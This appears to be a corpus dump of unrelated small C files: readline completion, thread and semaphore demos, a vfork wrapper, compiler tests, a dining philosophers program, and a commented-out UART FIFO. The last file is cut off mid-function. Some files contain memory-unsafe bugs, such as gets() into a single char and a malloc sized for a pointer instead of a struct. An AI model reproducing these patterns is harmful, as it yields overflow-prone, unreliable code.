/* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, */
/* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT */
/* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, */
/* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY */
/* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT */
/* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE */
/* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
/**************************************************************************/
/*
* $Id$
*
* The shell routines used for command completion and .
*
* Commands in sublevels are also completed.
* Listing of toplevel commands does not show all available commands,
* only those in the level just entered.
* When directly at the prompt, all commands are shown.
* Argument completion is attempted (a bit of a hack)
*/
/*
* complete_arg store the argument to be completed.
* complete_result stores the result.
* complete_ind is the index in the argument list
* complete_free is a flag that indicates whether the resulting strings
* can be freed or not.
*/
char *complete_arg, **complete_result, *(*complete_fun)();
int complete_ind, complete_free;
#ifdef READLINE
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <malloc.h>
#include <readline/readline.h>
#include <readline/history.h>
#include "shell.h"
#include "states.h"
#include "globals.h"
extern commandtable baselevel;
void
init_readline()
{
char **command_completion(), *complete_argument();
rl_readline_name = toplevel.ct_name;
rl_attempted_completion_function = (Function *)command_completion;
rl_completion_entry_function = (Function *) complete_argument;
}
char
**command_completion(text,start,end)
char *text;
int start, end;
{
char **completion_matches(), *completer();
char *s = rl_line_buffer;
while (*s && isspace(*s))
s++;
top_table = 0;
if (start == s - rl_line_buffer)
return completion_matches(text,completer);
else
return NULL;
}
char *completer(text,st)
char *text;
int st;
{
static int ind;
static char **result = 0;
static commandtable *table;
if (st == 0 || (result && !result[ind])) {
if (st == 0)
table = top_table ? top_table : prompt_table;
result = 0;
ind = 0;
while (table && !result) {
result = completecommand(table->ct_cmds,text,0);
if (result) {
char **res, **pp;
res = pp = result;
do {
command *cmd;
cmd = findcommand(table->ct_cmds,*pp);
if (!cmd ||
(((builtin *)(cmd->cmd_val))->b_table != prompt_table
|| prompt_table == &toplevel))
*res++ = *pp++;
else
pp++;
} while(*pp);
*res = 0;
if (!*result)
result = 0;
}
if (table == top_table)
table = &baselevel;
else
table = table->ct_up;
}
}
if (!result || !result[ind])
return 0;
return strdup(result[ind++]);
}
char *complete_argument(text,st)
char *text;
int st;
{
static char *line = 0;
static char **result = 0;
static int ind, freeit;
char *s = rl_line_buffer, *p;
int inspace = 1;
command *cmd;
builtin *b;
if (st == 0) {
int argc = 0;
char *argv[MAXARGS];
char **av = argv;
commandtable *table = prompt_table;
if (freeit && result)
free((char*) result);
result = 0; ind = 0;
if (line)
free(line);
p = line = malloc(rl_end+1);
if (!p)
return 0;
strncpy(p,rl_line_buffer,rl_end+1);
complete_ind = 0;
while (*s && s - rl_line_buffer < rl_point && argc < MAXARGS) {
if (isspace(*s)) {
*p = '\0';
if (!inspace) {
inspace = 1;
complete_ind++;
}
} else {
if (inspace) {
argv[argc++] = p;
inspace = 0;
}
}
s++;
p++;
}
if (complete_ind == argc) {
argv[argc++] = "";
}
if (argc >= MAXARGS)
return 0;
argv[argc] = 0;
if (complete_ind == 0 || **argv == '#' || **argv == '!')
return 0;
top_table = 0;
while (argc > 1 && (cmd = getcommand(table,av[0]))) {
b = (builtin *) cmd->cmd_val;
if (b->b_table) {
if (linklevel(b->b_table) == -1)
return 0;
table = b->b_table;
av++,argc--;
} else
break;
}
if (!cmd && (commanderr == CE_NOTFOUND || argc != 1))
return 0;
complete_free = 0;
complete_fun = 0;
if (argc == 1) {
result = completecommand(table->ct_cmds,text,0);
if (!result)
result = completecommand(baselevel.ct_cmds,text,0);
} else {
if (b->b_help) {
complete_arg = text;
complete_result = 0;
complete_ind = argc - 1;
(b->b_help)(cmd,HELP_COMPLETE);
result = complete_result;
}
#if 0
/* arnoud, Dec 2003, refresh needs two arguments on linux and modern unix */
if (!result && !complete_fun) {
rl_refresh_line();
}
#endif
}
freeit = complete_free;
}
if (complete_fun)
return (complete_fun)(text,st);
if (result == 0 || result[ind] == 0)
return 0;
return freeit ? result[ind++] : strdup(result[ind++]);
}
#else /* ifdef readline */
char *completer
() { return 0; }
char **command_completion
() { return 0; }
#endif /* ifdef readline */
|
the_stack_data/949710.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdatomic.h>
#include <semaphore.h>
#define QTD_GENERATE 10
int buf;
sem_t empty, full;
void* prod(void* p){
int valor_prod;
int count = 0;
while(count < QTD_GENERATE){
sem_wait(&empty);
valor_prod = rand() % 255;
printf("[PROD] %d\n", valor_prod);
sleep(2);
buf = valor_prod;
sem_post(&full);
count++;
}
}
void* cons(void* p){
int valor_cons;
int count = 0;
buf = 0;
while(count < QTD_GENERATE){
sem_wait(&full);
valor_cons = buf;
printf("[CONS] %d\n", valor_cons);
sleep(1);
sem_post(&empty);
count++;
}
}
int main(void){
pthread_t _prod, _cons;
time_t t;
srand(time(&t));
sem_init(&empty, 0, 1);
sem_init(&full, 0, 0);
pthread_create(&_prod, NULL, prod, NULL);
pthread_create(&_cons, NULL, cons, NULL);
pthread_join(_prod, NULL);
pthread_join(_cons, NULL);
sem_destroy(&empty);
sem_destroy(&full);
return(0);
} |
the_stack_data/68886684.c | #define _GNU_SOURCE
#include <sys/types.h>
#include <sys/signal.h>
#include <unistd.h>
#include <stdint.h>
#include <sched.h>
#include <setjmp.h>
__thread void* sfork_stack_pointer = NULL;
/* Pass the stack pointer as an argument so we don't have to access
* thread local storage from assembly */
int sfork_asm_clone(void **stack_pointer_p,
unsigned long flags, void *child_stack,
int *ptid, int *ctid,
unsigned long newtls);
int sfork_asm_exit(void **stack_pointer_p, int status);
int sfork_asm_execveat(void **stack_pointer_p,
int dirfd, const char* pathname, char *const argv[],
char *const envp[], int flags);
int sfork_clone(unsigned long flags, void *child_stack,
int *ptid, int *ctid,
unsigned long newtls) {
/* calling sfork_asm_clone without CLONE_VFORK will break, so we force it on. */
return sfork_asm_clone(&sfork_stack_pointer, flags|CLONE_VFORK, child_stack, ptid, ctid, newtls);
};
int sfork() {
return sfork_clone(CLONE_VFORK|CLONE_VM|SIGCHLD, NULL, NULL, NULL, 0);
};
int sfork_exit(int status) {
return sfork_asm_exit(&sfork_stack_pointer, status);
};
int sfork_execveat(int dirfd, const char* pathname, char *const argv[],
char *const envp[], int flags) {
return sfork_asm_execveat(&sfork_stack_pointer, dirfd, pathname, argv,
envp, flags);
}
|
the_stack_data/774781.c | #include <stdio.h>
#include <ctype.h>
#include <stdbool.h>
#define STOP '|'
int main(void) {
char c;
char prev;
long n_chars = 0L;
int n_lines = 0;
int n_words = 0;
int p_lines = 0;
bool inword = false;
prev = '\n';
while ((c = getchar()) != STOP) {
n_chars++;
if (c == '\n') n_lines++;
if (!isspace(c) && !inword) {
inword = true;
n_words++;
}
if (isspace(c) && inword) {
inword = false;
}
prev = c;
}
if (prev != '\n') p_lines = 1;
return 0;
} |
the_stack_data/1244281.c | /* { dg-do run } */
int x, *p = &x;
extern void abort (void);
void
f1 (int *q)
{
*q = 1;
#pragma omp flush
/* x, p, and *q are flushed */
/* because they are shared and accessible */
/* q is not flushed because it is not shared. */
}
void
f2 (int *q)
{
#pragma omp barrier
*q = 2;
#pragma omp barrier
/* a barrier implies a flush */
/* x, p, and *q are flushed */
/* because they are shared and accessible */
/* q is not flushed because it is not shared. */
}
int
g (int n)
{
int i = 1, j, sum = 0;
*p = 1;
#pragma omp parallel reduction(+: sum) num_threads(2)
{
f1 (&j);
/* i, n and sum were not flushed */
/* because they were not accessible in f1 */
/* j was flushed because it was accessible */
sum += j;
f2 (&j);
/* i, n, and sum were not flushed */
/* because they were not accessible in f2 */
/* j was flushed because it was accessible */
sum += i + j + *p + n;
}
return sum;
}
int
main ()
{
int result = g (10);
if (result != 30)
abort ();
return 0;
}
|
the_stack_data/4087.c | #if PY_MAJOR_VERSION >= 3
/* The ${python_module_name} module definition
*/
PyModuleDef ${python_module_name}_module_definition = {
PyModuleDef_HEAD_INIT,
/* m_name */
"${python_module_name}",
/* m_doc */
"Python ${library_name} module (${python_module_name}).",
/* m_size */
-1,
/* m_methods */
${python_module_name}_module_methods,
/* m_reload */
NULL,
/* m_traverse */
NULL,
/* m_clear */
NULL,
/* m_free */
NULL,
};
#endif /* PY_MAJOR_VERSION >= 3 */
|
the_stack_data/154431.c | #define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void Prefix(char *s, int* pi)
{
int i,l=strlen(s),t=0;
pi[0]=t;
for(i=1;i<l;i++)
{
for(;t>0 && s[t]!=s[i];t=pi[t-1]);
if(s[t]==s[i]) t++;
pi[i]=t;
}
}
int Rec(int **ps, int n, int m, int c, int* xs)
{
int i,r=0,b;
xs[c]++;
if(m==n-1)
{
for(i=0;i<n;i++)
if(xs[i]==0)
{xs[c]--; return ps[c][i];}
}
for(i=0;i<n;i++)
{
if(xs[i]==0)
{
b=Rec(ps,n,m+1,i,xs)+ps[c][i];
if(b>r) r=b;
}
}
xs[c]--;
return r;
}
int Max(int **ps, int n)
{
int i,r=0,b,*xs=(int*)calloc(n,sizeof(int*));
for(i=0;i<n;i++)
{
b=Rec(ps,n,1,i,xs);
if(b>r) r=b;
}
return r;
}
int main()
{
int n,i,j,**ps,*pi=(int*)malloc(1024*sizeof(int)),l=0;
char **s,*b=(char*)malloc(1024*sizeof(char));
scanf("%d%*c",&n);
ps=(int**)malloc(n*sizeof(int*));
s=(char**)malloc(n*sizeof(char*));
for(i=0;i<n;i++)
{
s[i]=(char*)malloc(512*sizeof(char));
ps[i]=(int*)calloc(n,sizeof(int));
gets(s[i]);
l+=strlen(s[i]);
}
//////////////м. пер.////////////////////
for(i=0;i<n;i++)
{
for(j=i+1;j<n;j++)
{
strcpy(b,s[i]);
strcat(b,s[j]);
Prefix(b,pi);
ps[j][i]=pi[strlen(b)-1];
strcpy(b,s[j]);
strcat(b,s[i]);
Prefix(b,pi);
ps[i][j]=pi[strlen(b)-1];
}
}
//////////////////собсно пересчёт////////
printf("%d",l-Max(ps,n));
/////////////////////////////////////////
for(i=0;i<n;i++)
{
free(ps[i]);
free(s[i]);
}
free(ps);
free(b);
free(s);
free(pi);
return 0;
}
/*10
acbabcaac
cbca
bbaa
bcacaab
acbcccab
bcbcbab
bbbccbabca
accccabba
cbaca
accaabaaab*/ |
the_stack_data/12637301.c | /*
* (c) copyright 1987 by the Vrije Universiteit, Amsterdam, The Netherlands.
* See the copyright notice in the ACK home directory, in the file "Copyright".
*/
/* $Header: /cvsup/minix/src/lib/ansi/raise.c,v 1.1.1.1 2005/04/21 14:56:06 beng Exp $ */
#if defined(_POSIX_SOURCE)
#include <sys/types.h>
#endif
#include <signal.h>
int _kill(int pid, int sig);
pid_t _getpid(void);
int
raise(int sig)
{
if (sig < 0 || sig > _NSIG)
return -1;
return _kill(_getpid(), sig);
}
|
the_stack_data/653503.c | #include <stdio.h>
int main () {
int z=7;
int i=0, j=0, MAX=32767;
for (i=0; i<MAX; i++) {
for (j=0; j<MAX; j++) {
z<<1;
}
}
}
|
the_stack_data/92631.c | /* PR 23190 */
/* { dg-do compile }
/* { dg-options "-gdwarf-2 -dA" } */
/* { dg-final { scan-assembler "xyzzy\[^\\n\\r\]+DW_AT_name" } } */
void f(void)
{
static int xyzzy;
xyzzy += 3;
}
|
the_stack_data/1123251.c | /* Test case for preserved AVX registers in dynamic linker, -mavx part.
Copyright (C) 2009-2017 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <immintrin.h>
#include <stdlib.h>
#include <string.h>
extern __m256i audit_test (__m256i, __m256i, __m256i, __m256i,
__m256i, __m256i, __m256i, __m256i);
int
tst_audit4_aux (void)
{
#ifdef __AVX__
__m256i ymm = _mm256_setzero_si256 ();
__m256i ret = audit_test (ymm, ymm, ymm, ymm, ymm, ymm, ymm, ymm);
ymm = _mm256_set1_epi32 (0x12349876);
if (memcmp (&ymm, &ret, sizeof (ret)))
abort ();
return 0;
#else /* __AVX__ */
return 77;
#endif /* __AVX__ */
}
|
the_stack_data/72377.c | /* Recursive list printing example
*
* how to compile
* $ gcc recursive-list.c -o list
* how to run
* $ ./list
*
* author: dloubach
*/
#include <stdio.h>
#include <stdlib.h>
struct node_st
{
int elem;
struct node_st* prox;
};
typedef struct node_st* list_t;
typedef struct node_st* position_t;
void printList(list_t l)
{
if(l->prox != NULL)
{
printf("%d ", l->prox->elem);
printList(l->prox);
}
}
void printListReversed(list_t l)
{
if(l->prox != NULL)
{
printListReversed(l->prox);
printf("%d ", l->prox->elem);
}
}
int main(void)
{
int i;
list_t L;
position_t p;
/* sentinel node */
L = (list_t) malloc(sizeof(list_t));
p = L;
for(i=0; i<3; i++)
{
p->prox = (list_t) malloc(sizeof(list_t));
p->prox->elem = i;
p = p->prox;
}
p->prox = NULL;
printf("Hello, World -- Recursive list printing!\n");
printList(L);
printf("\nDone !\n");
printf("\nand now, reversed!\n");
printListReversed(L);
printf("\nDone !\n");
return 0;
}
|
the_stack_data/218893163.c | #include <stdio.h>
#include <string.h>
#define MAX_ITEMS 20
#define MAX_LEN 30
#define OPEN_BRACKET '('
#define CLOSE_BRACKET ')'
/*
#define IS_OPERAND(char ch) return((ch >= 'A' && ch <= 'Z') ? 1 : 0));
*/
struct Stack
{
char Items[MAX_ITEMS][MAX_LEN];
int Top;
};
void InitStack (struct Stack *ptr);
int IsEmpty (struct Stack *ptr);
int IsFull (struct Stack *ptr);
void Push (struct Stack *ptr, char *element);
int Pop(struct Stack *ptr, char *ptr2);
void InitStack (struct Stack *ptr)
{
ptr->Top = -1;
}
int IsEmpty (struct Stack *ptr)
{
if (ptr->Top == -1)
return (1);
else
return (0);
}
int IsFull (struct Stack *ptr)
{
if (ptr->Top == MAX_ITEMS - 1)
return (1);
else
return (0);
}
void Push (struct Stack *ptr, char element[MAX_LEN])
{
if (IsFull (ptr))
{
printf ("Stack overflow\n");
}
else
{
ptr->Top++;
strcpy (ptr->Items[ptr->Top] , element);
}
}
int Pop(struct Stack *ptr, char *ptr2)
{
int flag;
if (IsEmpty (ptr))
{
flag = 0;
}
else
{
strcpy (ptr2 , ptr->Items[ptr->Top]);
ptr->Top--;
flag = 1;
}
return (flag);
}
int IsOperand (char ch)
{
int Operand = 0;
/*
if (ch >= 'A' && ch <= 'Z')
Operand = 1;
*/
return((ch >= 'A' && ch <= 'Z') ? 1 : 0);
/*
return (Operand);
*/
}
int IsOperator (char ch)
{
int Operator = 0;
if (ch == '+' || ch == '-'|| ch == '*' || ch == '/')
Operator = 1;
return (Operator);
}
void PostfixToInfix (char *Postfix, char *Infix)
{
struct Stack OpndStk;
char symbol;
char expr[MAX_LEN], Opnd1[MAX_LEN], Opnd2[MAX_LEN];
InitStack (&OpndStk);
strcpy (Infix, "\0");
while ((symbol = *Postfix)!= '\0')
{
if(IsOperand (symbol))
{
sprintf (expr, "%c", symbol);
Push(&OpndStk, expr);
}
else if (IsOperator (symbol))
{
Pop(&OpndStk, Opnd2);
Pop(&OpndStk, Opnd1);
sprintf (expr,"(%s %c %s )",
Opnd1, symbol, Opnd2);
Push (&OpndStk, expr);
}
Postfix++;
}
Pop(&OpndStk,Infix);
}
void main()
{
char Infix [MAX_LEN], Postfix[MAX_LEN] ;
strcpy (Postfix, "AB+");
PostfixToInfix (Postfix, Infix);
puts (Infix);
getchar();
}
|
the_stack_data/55431.c | // RUN: %c-to-llvm %s -fsanitize=address | %apply-typeart -typeart-alloca -S 2>&1 | %filecheck %s
// REQUIRES: asan
int global;
int global_2 = 0;
extern void bar(int*);
void foo() {
bar(&global);
}
// CHECK: void @__typeart_init_module_
// CHECK-NEXT: entry:
// CHECK-NEXT: call void @__typeart_alloc_global(i8* bitcast (i32* @global_2 to i8*)
// CHECK-NEXT: call void @__typeart_alloc_global(i8* bitcast (i32* @global to i8*)
// CHECK-NEXT: ret void
|
the_stack_data/104829274.c | #include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
void term_status(int status)
{
if(WIFEXITED(status))
printf("(exit) status : 0x%x\n", WEXITSTATUS(status));
else if(WTERMSIG(status))
printf("(signal) status: 0x%x\n", status & 0x7f);
}
void my_sig(int signo)
{
int status;
printf("signo = %d\n", signo);
while(waitpid(-1, &status, WNOHANG) > 0)
term_status(status);
}
void my_int(int signo)
{
printf("signo = %d\n", signo);
exit(-1);
}
int main(void)
{
int i;
pid_t pid;
signal(SIGCHLD, my_sig);
signal(SIGINT, my_int);
if((pid = fork())>0)
{
for(i=0; i<10000; i++)
{
usleep(50000);
printf("%d\n", i+1);
if(i==500)
kill(pid, SIGINT);
}
}
else if(!pid)
{
sleep(50);
abort();
}
else
{
perror("fork() ");
exit(-1);
}
return 0;
}
|
the_stack_data/143344.c | /*
Malwo, SH, dan Smeggy merupakan pembuat aplikasi handal,
mereka membuat aplikasi memberikan rating kepada asdos yang diisi oleh seluruh mahasiswa.
Sayangnya, aplikasi mereka eror, hasil rating setiap mahasiswa terakumulasi menjadi satu.
Yang berarti jika mahasiswa memberikan bintang 1 pada asdos , bintang 3 pada asdos ,
dan bintang 5 pada asdos , maka hasil survei hanya memberi tahu bahwa total bintangnya adalah 9 untuk 3 asdos.
Bantulah Malwo, SH, dan Smeggy dengan cara membuat program yang menerima hasil survei dari mahasiswa,
yaitu total bintang untuk asdos, untuk mengetahui banyak asdos minimal dan maksimal yang mungkin mendapatkan bintang 5.
* Input Format :
baris pertama berupa N dan M, dimana M merupakan banyak asdos dan N merupakan banyak bintang.
* Constraints :
1 <= N,M <= 10^9
* Output Format :
Jika total bintang tidak memungkinkan untuk dibagi ke para asdos dengan range [1, 5], maka outputkan "-1 -1\n".
Jika memungkinkan, outputkan banyak asdos minimal dan maksimal yang mungkin mendapatkan bintang 5.
Sample Input 0
1 6
Sample Output 0
-1 -1
Sample Input 1
10 2
Sample Output 1
2 2
*/
#include <stdio.h>
#define ul unsigned long
int main()
{
ul x, y, min, max;
scanf("%lu%lu", &x, &y);
max = (x-y) / 4;
if (x < y || x > 5 * y)
{
printf("-1 -1");
}
else if (x == 5 * y)
{
min = max;
printf("%lu %lu", min, max);
}
else
{
if (x/y == 4){
min = x%y;
printf("%lu %lu", min, max);
}
else {
min = 0;
printf("%lu %lu", min, max);
}
}
return 0;
}
|
the_stack_data/181393833.c | //
// main.c
// 14
//
// Created by Никифоров Иван on 14.10.14.
// Copyright (c) 2014 NIkif. All rights reserved.
//
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int wcount(char *s)
{
int n, i, sum=0, a=0;
n = (int)strlen(s);
if (n==0) return 0;
if ((n==1)&&(s[0]!=' '))
return 1;
for (i=1; i<n; i++) {
if ((s[i]!= ' ')&&(s[i-1]== ' '))
sum+=1;
if(s[i]!=0) printf("%s -> %d\n", &s[i], sum);
}
if (s[0]!=' ') {
sum+=1;
}
if (sum!=0) return sum;
else {
for (i=0; i<n; i++) {
if (s[i]!= ' ') a+=1;
}
if (a!=0) return 1;
}
return sum;
}
int main(int argc, const char * argv[]) {
char s;
gets(&s);
printf("%d", wcount(&s));
return 0;
}
|
the_stack_data/15763197.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <errno.h>
#include <math.h>
#include <time.h>
#include <pthread.h>
#include <unistd.h>
const int phil_num = 5;
enum { thinking, hungry, eating } state[5];
pthread_mutex_t mutex;
pthread_cond_t self[5];
void test(int philosopher_number){
pthread_mutex_lock(&mutex);
if((state[(philosopher_number+phil_num-1)%phil_num]!=eating) && (state[philosopher_number]==hungry) && (state[(philosopher_number+1)%phil_num]!=eating)){
state[philosopher_number] = eating;
pthread_cond_signal(&self[philosopher_number]);
}
pthread_mutex_unlock(&mutex);
}
void pickup_forks(int philosopher_number){
pthread_mutex_lock(&mutex);
state[philosopher_number] = hungry;
pthread_mutex_unlock(&mutex);
test(philosopher_number);
pthread_mutex_lock(&mutex);
if(state[philosopher_number]!=eating){
printf("Philosopher %d can't pick up forks and start waiting.\n", philosopher_number);
pthread_cond_wait(&self[philosopher_number], &mutex);
}
pthread_mutex_unlock(&mutex);
}
void return_forks(int philosopher_number){
int left_id = (philosopher_number+phil_num-1)%phil_num;
int right_id = (philosopher_number+1)%phil_num;
printf("Philosopher %d returns forks and then starts TESTING %d and %d.\n", philosopher_number, left_id, right_id);
pthread_mutex_lock(&mutex);
state[philosopher_number] = thinking;
pthread_mutex_unlock(&mutex);
test(left_id);
test(right_id);
}
void* philosophers(void *n){
int id = *(int*)n;
int rand_time_think = (rand())%4;
int rand_time_eat = (rand())%4;
//thinking
printf("Philosopher %d is now THINKING for %d seconds.\n", id, rand_time_think);
sleep(rand_time_think);
//become hungry
printf("Philosopher %d is now HUNGRY and trying to pick up forks.\n", id);
pickup_forks(id);
//start eating
printf("Philosopher %d is now EATING.\n", id);
sleep(rand_time_eat);
//end eating
return_forks(id);
}
int main(){
//Initialization
pthread_t *thread_handles = malloc(sizeof(pthread_t)*phil_num);
pthread_mutex_init(&mutex, NULL);
int* id_arr = calloc(phil_num, sizeof(int));
for(int i=0;i<phil_num;++i){
state[i] = thinking;
pthread_cond_init(&self[i], NULL);
//printf("state[%d] = %d\n", i, state[i]);
}
//Thread Creation
for(int i=0;i<phil_num;++i){
id_arr[i] = i;
pthread_create(&thread_handles[i], NULL, philosophers, (void *)(&id_arr[i]));
}
//Thread Termination
for(int i=0;i<phil_num;++i){
pthread_join(thread_handles[i], NULL);
}
free(thread_handles);
free(id_arr);
pthread_mutex_destroy(&mutex);
return EXIT_SUCCESS;
}
|
the_stack_data/225142472.c | //// based on UART fifo buffer by Scott Schmitt
//// https://www.digikey.com/eewiki/display/microcontroller/Software+FIFO+Buffer+for+UART+Communication
//
//#include <xc.h> /* XC8 General Include File */
//#include <stdint.h> /* For uint8_t definition */
//#include <fifo.h>
//#include <stdbool.h> /* For true/false definition */
//
//typedef struct {
// uint8_t data_buf[FIFO_BUFFER_SIZE]; // FIFO buffer
// uint16_t i_first; // index of oldest data byte in buffer
// uint16_t i_last; // index of newest data byte in buffer
// uint16_t num_bytes; // number of bytes currently in buffer
//} sw_fifo_typedef;
//
//sw_fifo_typedef rx_fifo = {
// {0}, 0, 0, 0}; // declare a receive software buffer
//sw_fifo_typedef tx_fifo = {
// {0}, 0, 0, 0}; // declare a transmit software buffer
//
//
///******************************************************************************/
//// UART receive interrupt sub-routine
//// - interrupts when valid data exists in rx hardware buffer
//// - checks if there's room in the rx software buffer
//// - if there's room, it transfers the received data into the sw buffer
//// - automatically handles "uart_rx_buffer_full_flag"
//// - sets overflow flag upon software buffer overflow (doesn't overwrite existing data)
//
///******************************************************************************/
//Fifo_UART_rx_ISR_() {
//
// if (rx_fifo.num_bytes == FIFO_BUFFER_SIZE) { // if the sw buffer is full
// uart_rx_fifo_ovf_flag = 1; // set the overflow flag
// } else if (rx_fifo.num_bytes < FIFO_BUFFER_SIZE) { // if there's room in the sw buffer
//
// ///////////////////////////////////////////////////
// /* read error/status reg here if desired */
// /* handle any hardware RX errors here if desired */
// ///////////////////////////////////////////////////
// if (OERR) // if there is overrun error
// { // clear overrun error bit
// CREN = 0;
// CREN = 1;
// }
//
// /* enter pointer to UART rx hardware buffer here */
// rx_fifo.data_buf[rx_fifo.i_last] = RCREG; // store the received data as the newest data element in the sw buffer
//
// rx_fifo.i_last++; // increment the index of the most recently added element
// rx_fifo.num_bytes++; // increment the bytes counter
// }
// if (rx_fifo.num_bytes == FIFO_BUFFER_SIZE) { // if sw buffer just filled up
// uart_rx_fifo_full_flag = 1; // set the RX FIFO full flag
// }
// if (rx_fifo.i_last == FIFO_BUFFER_SIZE) { // if the index has reached the end of the buffer,
// rx_fifo.i_last = 0; // roll over the index counter
// }
// uart_rx_fifo_not_empty_flag = 1; // set received-data flag
//}
//
//
///******************************************************************************/
//// UART transmit interrupt sub-routine
//// - interrupts when the tx hardware buffer is empty
//// - checks if data exists in the tx software buffer
//// - if data exists, it places the oldest element of the sw buffer into the tx hardware buffer
//// - if the sw buffer is emptied, it disables the "hw buffer empty" interrupt
//// - automatically handles "uart_tx_buffer_full_flag"
//
///******************************************************************************/
//Fifo_UART_tx_ISR() {
//
// if (tx_fifo.num_bytes == FIFO_BUFFER_SIZE) { // if the sw buffer is full
// uart_tx_fifo_full_flag = 0; // clear the buffer full flag because we are about to make room
// }
// if (tx_fifo.num_bytes > 0) { // if data exists in the sw buffer
//
// /* enter pointer to UART tx hardware buffer here */
// TXREG = tx_fifo.data_buf[tx_fifo.i_first]; // place oldest data element in the TX hardware buffer
// tx_fifo.i_first++; // increment the index of the oldest element
// tx_fifo.num_bytes--; // decrement the bytes counter
// }
// if (tx_fifo.i_first == FIFO_BUFFER_SIZE) { // if the index has reached the end of the buffer,
// tx_fifo.i_first = 0; // roll over the index counter
// }
// if (tx_fifo.num_bytes == 0) { // if no more data exists
//
// uart_tx_fifo_not_empty_flag = 0; // clear flag
//
// //////////////////////////////////////////////////////////////////////////
// /* disable UART "TX hw buffer empty" interrupt here */
// /* if using shared RX/TX hardware buffer, enable RX data interrupt here */
// //////////////////////////////////////////////////////////////////////////
// PIE1bits.TXIE = false; // disable UART transmit interrupt
// }
//}
//
//
///******************************************************************************/
//// UART data transmit function
//// - checks if there's room in the transmit sw buffer
//// - if there's room, it transfers data byte to sw buffer
//// - automatically handles "uart_tx_buffer_full_flag"
//// - sets the overflow flag upon software buffer overflow (doesn't overwrite existing data)
//// - if this is the first data byte in the buffer, it enables the "hw buffer empty" interrupt
//
///******************************************************************************/
//void uart_send_byte(uint8_t byte) {
//
// /* disable interrupts while manipulating buffer pointers */
// GIE = false;
//
// if (tx_fifo.num_bytes == FIFO_BUFFER_SIZE) { // no room in the sw buffer
// uart_tx_fifo_ovf_flag = 1; // set the overflow flag
// } else if (tx_fifo.num_bytes < FIFO_BUFFER_SIZE) { // if there's room in the sw buffer
// tx_fifo.data_buf[tx_fifo.i_last] = byte; // transfer data byte to sw buffer
// tx_fifo.i_last++; // increment the index of the most recently added element
// tx_fifo.num_bytes++; // increment the bytes counter
// }
// if (tx_fifo.num_bytes == FIFO_BUFFER_SIZE) { // if sw buffer is full
// uart_tx_fifo_full_flag = 1; // set the TX FIFO full flag
// }
// if (tx_fifo.i_last == FIFO_BUFFER_SIZE) { // if the "new data" index has reached the end of the buffer,
// tx_fifo.i_last = 0; // roll over the index counter
// }
//
// /* enable interrupts */
// GIE = true;
//
// if (tx_fifo.num_bytes > 0) { // if there is data in the buffer
//
// uart_tx_fifo_not_empty_flag = 1; // set flag
//
// /* enable UART "TX hw buffer empty" interrupt here */
// PIE1bits.TXIE = true; // enable UART transmit interrupt
// }
//}
//
//
///******************************************************************************/
//// UART data receive function
//// - checks if data exists in the receive sw buffer
//// - if data exists, it returns the oldest element contained in the buffer
//// - automatically handles "uart_rx_buffer_full_flag"
//// - if no data exists, it clears the uart_rx_flag
//
///******************************************************************************/
//uint8_t uart_get_byte(void) {
//
// /* disable interrupts while manipulating buffer pointers */
// GIE = false;
//
// uint8_t byte = 0;
// if (rx_fifo.num_bytes == FIFO_BUFFER_SIZE) { // if the sw buffer is full
// uart_rx_fifo_full_flag = 0; // clear the buffer full flag because we are about to make room
// }
// if (rx_fifo.num_bytes > 0) { // if data exists in the sw buffer
// byte = rx_fifo.data_buf[rx_fifo.i_first]; // grab the oldest element in the buffer
// rx_fifo.i_first++; // increment the index of the oldest element
// rx_fifo.num_bytes--; // decrement the bytes counter
// } else { // RX sw buffer is empty
// uart_rx_fifo_not_empty_flag = 0; // clear the rx flag
// }
// if (rx_fifo.i_first == FIFO_BUFFER_SIZE) { // if the index has reached the end of the buffer,
// rx_fifo.i_first = 0; // roll over the index counter
// }
//
// /* enable interrupts */
// GIE = true;
//
// return byte; // return the data byte
//} |
the_stack_data/11075770.c | /*
* agetty-shell.c wrap agetty for use with screen's shell variable
*
* Copyright (c) 2016 Wind River Systems, Inc. - Jason Wessel
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <string.h>
void do_exec() {
execl("/sbin/agetty","agetty","-", NULL);
}
int main(int argc, char *argv[]) {
int c;
int status;
pid_t mypid = getpid();
int args = 1;
int loop = 0;
while (args < argc) {
if (strcmp("--loop", argv[args]) == 0) {
loop = 1;
}
args++;
}
if (!loop)
do_exec();
